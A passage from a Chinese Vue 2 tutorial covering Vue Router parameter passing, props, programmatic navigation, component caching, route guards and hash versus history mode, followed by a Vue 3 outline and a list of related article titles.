              {id: 3, title: 'm3'}
            ]
          }
        }
      }
      </script>
      
    • src/pages/Detail.vue:接收 query 路由参数,展示消息详情

      <template>
        <div>
          <ul>
            <!-- 通过 VC 配置的 $route 信息读取 query 参数 -->
            <li>消息编号:{{ $route.query.id }}</li>
            <li>消息内容:{{ $route.query.title }}</li>
          </ul>
        </div>
      </template>
      
      <script>
      export default {
        name: "Detail"
      }
      </script>
      
  2. 路由的 params 参数:路由配置时使用占位符为参数占位,传递参数时使用 RESTful 风格

    • src/router/index.js:在路由路径中使用占位符为参数占位

      import VueRouter from 'vue-router'
      import About from "@/pages/About";
      import Home from "@/pages/Home";
      import Message from "@/pages/Message";
      import News from "@/pages/News";
      import Detail from "@/pages/Detail";
      
      export default new VueRouter({
          routes: [
              {
                  path: '/home',
                  component: Home,
                  children: [
                      {
                          path: 'news',
                          component: News
                      },
                      {
                          path: 'message',
                          component: Message,
                          children: [
                              {
                                  name: 'xiangqing',
                                  // 占位符,声明路径参数占位
                                  path: 'detail/:id/:title',
                                  component: Detail
                              }
                          ]
                      }
                  ]
              },
              {
                  path: '/about',
                  component: About
              }
          ]
      })
      
    • src/pages/Message.vue:使用 RESTful 风格传递参数

      <template>
        <div>
          <ul>
            <li v-for="m in messages" :key="m.id">
              <!-- 方式一:数据绑定 + 模板字符串 -->
              <router-link :to="`/home/message/detail/${m.id}/${m.title}`">{{ m.title }}</router-link>
              <!-- 方式二:to 的对象写法,必须使用路由配置的 name 别名,而不能使用 path -->
              <!--
              <router-link
                  :to="{ name: 'xiangqing', params: {id: m.id,title: m.title }}">
                {{ m.title }}
              </router-link>
              -->
            </li>
          </ul>
          <hr/>
          <router-view></router-view>
        </div>
      </template>
      
      <script>
      export default {
        name: "Message",
        data() {
          return {
            messages: [
              {id: 1, title: 'm1'},
              {id: 2, title: 'm2'},
              {id: 3, title: 'm3'}
            ]
          }
        }
      }
      </script>
      
    • src/pages/Detail.vue:接收 params 参数,展示详情

      <template>
        <div>
          <ul>
            <!-- 通过 VC 配置的 $route 信息读取 params 参数 -->
            <li>消息编号:{{ $route.params.id }}</li>
            <li>消息内容:{{ $route.params.title }}</li>
          </ul>
        </div>
      </template>
      
      <script>
      export default {
        name: "Detail"
      }
      </script>
      
  3. 路由的 props 配置:让路由组件更方便地接收参数

    • src/router/index.js:通过 props 配置项接收路由参数,方便当前组件通过 props 获取传递的参数

      import VueRouter from 'vue-router'
      import About from "@/pages/About";
      import Home from "@/pages/Home";
      import Message from "@/pages/Message";
      import News from "@/pages/News";
      import Detail from "@/pages/Detail";
      
      export default new VueRouter({
          routes: [
              {
                  path: '/home',
                  component: Home,
                  children: [
                      {
                          path: 'news',
                          component: News
                      },
                      {
                          path: 'message',
                          component: Message,
                          children: [
                              {
                                  name: 'xiangqing',
                                  path: 'detail/:id/:title',
                                  component: Detail,
                                  // 方式一(对象式):将所有 key-val 通过 props 传递给 Detail 组件
                                  // props: {id: 123, title: 'Spring-_-Bear'},
                                  // 方式二(布尔值):取值为 true 则将路由收到的所有 `params` 参数通过 props 传递给 Detail 组件
                                  // props: true,
                                  // 方式三(函数式):返回的每一组 key-val 通过 props 传递给 Detail 组件
                                  props($route) {
                                      return {
                                          id: $route.params.id,
                                          title: $route.params.title
                                      }
                                  }
                              }
                          ]
                      }
                  ]
              },
              {
                  path: '/about',
                  component: About
              }
          ]
      })
      
    • src/pages/Details.vue:通过 props 接收本路由组件中定义的属性

      <template>
        <div>
          <ul>
            <li>消息编号:{{ id }}</li>
            <li>消息内容:{{ title }}</li>
          </ul>
        </div>
      </template>
      
      <script>
      export default {
        name: "Detail",
        props: ['id', 'title']
      }
      </script>
      

5.5 编程式路由导航

  1. 两种浏览器页面跳转记录模式:默认为 push

    • push 模式:新纪录压栈
    • replace 模式:新纪录替换栈顶元素
  2. router-linkreplacepush:控制路由跳转时操作浏览器的页面跳转记录模式

    <router-link replace></router-link>
    
  3. 编程式路由导航实现页面跳转:

    <template>
      <div>
        <div class="row">
          <div class="col-xs-offset-2 col-xs-8">
            <div class="page-header"><h2>Vue Router Demo</h2></div>
            <button @click="back">后退</button>
            <button @click="forward">前进</button>
            <button @click="go">任意跳转</button>
            <button @click="pushView">push to detail</button>
            <button @click="replaceView">replace to detail</button>
          </div>
        </div>
        <div class="row">
          <div class="col-xs-2 col-xs-offset-2">
            <div class="list-group">
              <!-- SPA 实现页面切换,可使用 push 或 replace 属性控制跳转记录模式 -->
              <router-link active-class="active" class="list-group-item" to="/home">Home</router-link>
              <router-link active-class="active" class="list-group-item" to="/about">About</router-link>
            </div>
          </div>
          <div class="col-xs-6">
            <div class="panel">
              <div class="panel-body">
                <!-- 展示组件 -->
                <router-view></router-view>
              </div>
            </div>
          </div>
        </div>
      </div>
    </template>
    
    <script>
    export default {
      name: "App",
      methods: {
        back() {
          this.$router.back();
        },
        forward() {
          this.$router.forward();
        },
        go() {
          // 参数:正数表示前进,负数表示前进
          this.$router.go(-1);
        },
        pushView() {
          this.$router.push({
            path: '/home/message/detail',
            query: {
              id: '1',
              title: 'spring'
            }
          })
        },
        replaceView() {
          this.$router.replace({
            path: '/home/message/detail',
            query: {
              id: '2',
              title: 'bear'
            }
          })
        }
      }
    }
    </script>
    
    <style>
    button {
      margin: 5px;
    }
    </style>
    

5.6 缓存路由组件

通过切换隐藏的路由组件,默认立即销毁,需要展示时再挂载。可以通过配置修改销毁规则

<!-- 切换页面时对 include 中指定的组件进行缓存,不销毁 -->
<keep-alive include="News">
    <router-view></router-view>
</keep-alive>

<!-- 缓存多个路由组件,页面切换时不销毁 -->
<keep-alive :include="['News', 'Message']">
    <router-view></router-view>
</keep-alive>

5.7 路由生命周期钩子

<script>
export default {
  name: "News",
  data() {
    return {
      opacity: 1
    }
  },
  // 当前路由组件激活时回调此钩子
  activated() {
    this.timer = setInterval(() => {
      this.opacity -= 0.01;
      console.log(this.opacity)
      if (this.opacity <= 0) {
        this.opacity = 1;
      }
    }, 20);
  },
  // 当前路由组件失活时回调此钩子
  deactivated() {
    console.log('deactivated')
    clearInterval(this.timer)
  },
}
</script>

5.8 路由守卫

  1. 全局路由守卫:src/router/index.js

    import VueRouter from 'vue-router'
    import About from "@/pages/About";
    import Home from "@/pages/Home";
    
    const router = new VueRouter({
        routes: [
            {
                path: '/home',
                component: Home,
                meta: {
                    title: '主页'
                }
            },
            {
                path: '/about',
                component: About,
                meta: {
                    isAuth: true,
                    title: '关于'
                }
            }
        ]
    })
    
    // 全局前置路由守卫
    router.beforeEach((to, from, next) => {
        // 是否需要权限检查
        if (to.meta.isAuth) {
            if (localStorage.getItem('username') !== 'root') {
                alert('权限不足,无权查看')
            } else {
                next()
            }
        } else {
            next();
        }
    
    });
    
    // 全局后置路由守卫
    router.afterEach((to, from) => {
        // 切换页面标题名称
        if (to.meta.title) {
            document.title = to.meta.title
        } else {
            document.title = '主页'
        }
    });
    
    export default router
    
  2. 独享路由守卫:src/router/index.js

    import VueRouter from 'vue-router'
    import About from "@/pages/About";
    import Home from "@/pages/Home";
    
    export default new VueRouter({
        routes: [
            {
                path: '/home',
                component: Home,
                meta: {
                    title: '主页'
                }
            },
            {
                path: '/about',
                component: About,
                meta: {
                    isAuth: true,
                    title: '关于'
                },
                // 独享路由守卫只有前置,没有后置
                beforeEnter(to, from, next) {
                    if (localStorage.getItem('username') !== 'root') {
                        alert('权限不足,无权查看')
                    } else {
                        next()
                    }
                }
            }
        ]
    })
    
  3. 组件内路由守卫:

    <script>
    export default {
      name: "Message",
      // 组件路由守卫,进入该组件之前调用
      beforeRouteEnter(to, from, next) {
        if (localStorage.getItem('username') !== 'root') {
          alert('权限不足,无权查看')
        } else {
          next()
        }
      },
      // 组件路由守卫,离开该组件之前调用
      beforeRouteLeave(to, from, next) {
      }
    }
    </script>
    

5.9 history 与 hash

  1. hash 模式:浏览器地址栏 # 及其之后的内容都是 hash 值,不会包含在 HTTP 请求路径中
    • 地址中永远带着 # 号,不美观
    • 兼容性较好
    • 将地址通过第三方 app 分享,若 app 检验严格,则地址会被标记为不合法
  2. history 模式:
    • 地址干净,美观
    • 兼容性相较略差
    • 部署上线时需要后端解决 SPA 应用页面刷新时cun’zai

六、Vue3

  1. vue3 简介
  2. 使用 vue-cli 创建工程
  3. 使用 vite 创建工程
  4. 分析工程结构
  5. 安装开发者工具
  6. 初识 setup
  7. ref 函数 - 处理基本类型
  8. ref 函数 - 处理对象类型
  9. reactive 函数
  10. 回顾 vue2 的响应式原理
  11. Vue3 响应式原理 - Proxy
  12. Vue3 响应式原理 - Reflect
  13. reactive 对比 ref
  14. setup 的两个注意点
  15. computed 计算属性
  16. watch 监视 ref 定义的数据
  17. watch 监视 reactive 定义的数据
  18. watch 时的 value 的问题
  19. watchEffect 函数
  20. vue3 生命周期
  21. 自定义 hook
  22. toRef 与 toRefs
  23. shallowReactive 与 shallowRef
  24. readonly 与 shallowReadonly
  25. toRaw 与 markRaw
  26. customRef
  27. provide 与 inject
  28. 响应式数据的判断
  29. CompositionAPI 的优势
  30. Fragment 组件
  31. Teleport 组件
  32. Suspense 组件
  33. vue3 中的其它改变

相关文章:

  • 算法 - 复原 IP 地址
  • 微信小程序flex弹性布局
  • python中的继承
  • TYUT太原理工大学2022需求工程考试选择题背诵版
  • Pytorch深度学习基础 实战天气图片识别(基于ResNet50预训练模型,超详细)
  • 统计0到n各数字的个数
  • 新开课day17总结
  • YOLOv5、v7改进之三十二:引入SKAttention注意力机制
  • R语言学习笔记
  • 【Shading】Shadow Mapping 阴影映射
  • Mysql相关知识点汇总
  • springboot-用dynamic-datasource-spring-boot-starter配置druid多数据源
  • Python:基于openjudge的四十二道题目
  • 模拟电路中的“基础积木”是什么?
  • 【数字设计】博通集成_2023届_笔试面试题目分享
  • [分享]iOS开发 - 实现UITableView Plain SectionView和table不停留一起滑动
  • [译] 理解数组在 PHP 内部的实现(给PHP开发者的PHP源码-第四部分)
  • 2017届校招提前批面试回顾
  • C++类中的特殊成员函数
  • canvas绘制圆角头像
  • Docker入门(二) - Dockerfile
  • HashMap ConcurrentHashMap
  • JavaScript 奇技淫巧
  • leetcode46 Permutation 排列组合
  • miniui datagrid 的客户端分页解决方案 - CS结合
  • Nacos系列:Nacos的Java SDK使用
  • php中curl和soap方式请求服务超时问题
  • Python_OOP
  • python学习笔记 - ThreadLocal
  • Redis 中的布隆过滤器
  • Redux 中间件分析
  • REST架构的思考
  • Swift 中的尾递归和蹦床
  • 阿里云应用高可用服务公测发布
  • 诡异!React stopPropagation失灵
  • 基于组件的设计工作流与界面抽象
  • 技术:超级实用的电脑小技巧
  • 前端技术周刊 2019-01-14:客户端存储
  • 收藏好这篇,别再只说“数据劫持”了
  • 算法---两个栈实现一个队列
  • 提升用户体验的利器——使用Vue-Occupy实现占位效果
  • 7行Python代码的人脸识别
  • kubernetes资源对象--ingress
  • puppet连载22:define用法
  • 关于Kubernetes Dashboard漏洞CVE-2018-18264的修复公告
  • #pragma data_seg 共享数据区(转)
  • $.type 怎么精确判断对象类型的 --(源码学习2)
  • %3cscript放入php,跟bWAPP学WEB安全(PHP代码)--XSS跨站脚本攻击
  • (2020)Java后端开发----(面试题和笔试题)
  • (3)(3.5) 遥测无线电区域条例
  • (JSP)EL——优化登录界面,获取对象,获取数据
  • (八)Flask之app.route装饰器函数的参数
  • (二)构建dubbo分布式平台-平台功能导图
  • (附源码)ssm教材管理系统 毕业设计 011229
  • (南京观海微电子)——COF介绍